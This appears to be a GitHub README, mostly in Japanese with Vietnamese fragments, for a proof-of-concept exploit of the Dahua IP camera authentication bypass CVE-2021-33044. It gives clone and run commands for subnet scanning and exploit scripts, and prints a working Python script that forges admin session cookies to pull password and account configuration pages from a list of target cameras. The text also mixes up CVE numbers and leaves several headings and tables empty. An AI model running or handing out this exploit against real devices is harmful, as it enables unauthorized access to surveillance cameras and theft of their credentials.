
Dahua認証バイパス(CVE-2021-33044)のPoCエクスプロイト。サブネットをスキャンし、複数のCVEをテストし、有効な資格情報なしで巧妙なクッキーを介してデバイス設定をダンプします。
Dahua IPカメラはセキュリティ監視システムで広く使用されているIoTデバイスです。内部ネットワークやインターネット経由でのアクセスが頻繁に行われるため、IPカメラの脆弱性はプライバシーと情報セキュリティに深刻な影響を与える可能性があります。
CVE-2021-33045は、一部のDahuaカメラに存在するセキュリティ脆弱性であり、正当な認証なしに内部設定リソースへの不正アクセスを可能にします。この脆弱性は、デバイスのファームウェアにおける不十分なアクセス制御メカニズムに起因します。
| 項目 | 内容 |
|---|---|
| CVE | CVE-2021-33044 |
| 種類 | Authentication Bypass |
| 重要度 | Critical (CVSS ~9.8) |
| 認証 | 認証不要 |
| 影響 | Dahua Camera / DVR / NVR |
脆弱性は、Dahuaカメラのファームウェアにおける安全でない認証設計に起因します:
これにより攻撃者は以下が可能:
参照:
→ Client gửi HTTP request kèm cookie tùy ý
→ Camera kiểm tra cookie ở mức giao diện
→ Không xác minh session hợp lệ ở backend
→ Cho phép truy cập trực tiếp vào các endpoint cấu hình nội bộ
→ Trả về dữ liệu nhạy cảm
| ファイル |
|---|
# Clone repository
git clone https://github.com/eagle-nett/DAHUA_AUTH-BYPASS-CVE-2021-33044.git
cd DAHUA_AUTH-BYPASS-CVE-2021-33044
pip install requests
# Scan subnet (ports required)
python dahua_scanner.py https://example.com -p 80 8080 8800
# Single host with port
python dahua_scanner.py https://example.com
一般的なDahuaポート: 80,443, 8080, 37777, 37778
python dahua_exploit.py https://example.com -p 8081
python dahua_exploit.py https://example.com -c 2021-33044 #CVE
python dahua_exploit.py --help
python dahua_auth_bypass.py https://example.com -p 8080
python dahua_auth_bypass.py https://example.com # Dump thiết bị sau khi bypass
#!/usr/bin/env python3
import requests, sys
requests.packages.urllib3.disable_warnings()
def dump_accounts(ip, port=80):
base = f"http://{ip}:{port}"
cookies = {
"userName": "admin",
"userLevel": "1",
"sessionID": "00000000"
}
urls = [
"/current_config/passwd",
"/current_config/Account1",
"/current_config/UserMgr",
"/current_config/accounts"
]
for path in urls:
try:
r = requests.get(
base + path,
cookies=cookies,
verify=False,
timeout=8
)
if r.status_code == 200 and len(r.text) > 30:
print(f"[+] {ip}:{port} VULNERABLE → {path}")
return
except:
pass
print(f"[-] {ip}:{port} safe / patched")
for line in open("targets.txt"):
t = line.strip()
if not t or t.startswith("#"):
continue
ip = t.split(":")[0]
port = int(t.split(":")[1]) if ":" in t else 80
dump_accounts(ip, port)
スクリプトはrequestsライブラリを使用し、SSL警告を無効にするために積極的にSSL警告をオフにします。
dump_accounts(ip, port=80)関数は、1台のカメラデバイスをチェックする主要な関数です。
この関数の主な機能は次のとおりです:
認証Cookieの偽装。関数は次のCookie値を使用します:
userName=adminuserLevel=1sessionID=00000000影響を受けるカメラバージョンでは、バックエンドが実際のsessionIDを検証しないため、システムはリクエストが有効な管理者アカウントから送信されたと信じてしまいます。
スクリプトは入力ファイルからターゲットリストを読み取り、各デバイスに対してチェック関数を順次呼び出します。このアプローチにより、複数のカメラを自動的に評価できます。
これらのスクリプトは以下に基づいて開発されました:
テスト状況:
このプロジェクトは:
| 目的 |
|---|
| CVEs |
|---|
dahua_scanner.py | ネットワーク探索 — サブネット上のDahuaカメラを検出 | 検出 |
dahua_exploit.py | マルチCVEスキャンツール — すべてのセキュリティ脆弱性をチェック | すべて |
dahua_auth_bypass.py | 専用認証バイパス(--dumpオプションあり) | CVE-2021-33044 |